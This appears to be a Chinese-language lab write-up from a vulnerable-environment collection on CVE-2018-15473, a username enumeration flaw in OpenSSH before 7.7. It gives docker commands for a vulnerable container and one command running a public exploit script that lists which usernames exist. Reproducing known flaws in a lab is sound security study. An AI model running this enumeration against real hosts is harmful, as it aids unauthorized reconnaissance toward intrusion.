# OpenSSH 用户名枚举漏洞CVE-2018-15473
OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。
参考链接:

- https://github.com/Rhynorater/CVE-2018-15473-Exploit

## 漏洞环境
执行如下命令编译及启动一个运行OpenSSH 7.7p1的容器:
```
docker compose build
docker compose up -d
```
环境启动后,我们在客户端执行`ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p20022`,输入密码`vulhub`,即可登录到容器中。
## 漏洞复现
使用[CVE-2018-15473-Exploit](https://github.com/Rhynorater/CVE-2018-15473-Exploit),枚举字典中的用户名:
```
python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
```

可见,`root``example``vulhub``nobody`是存在的用户,`rootInvalid``user``phithon`是不存在的用户。
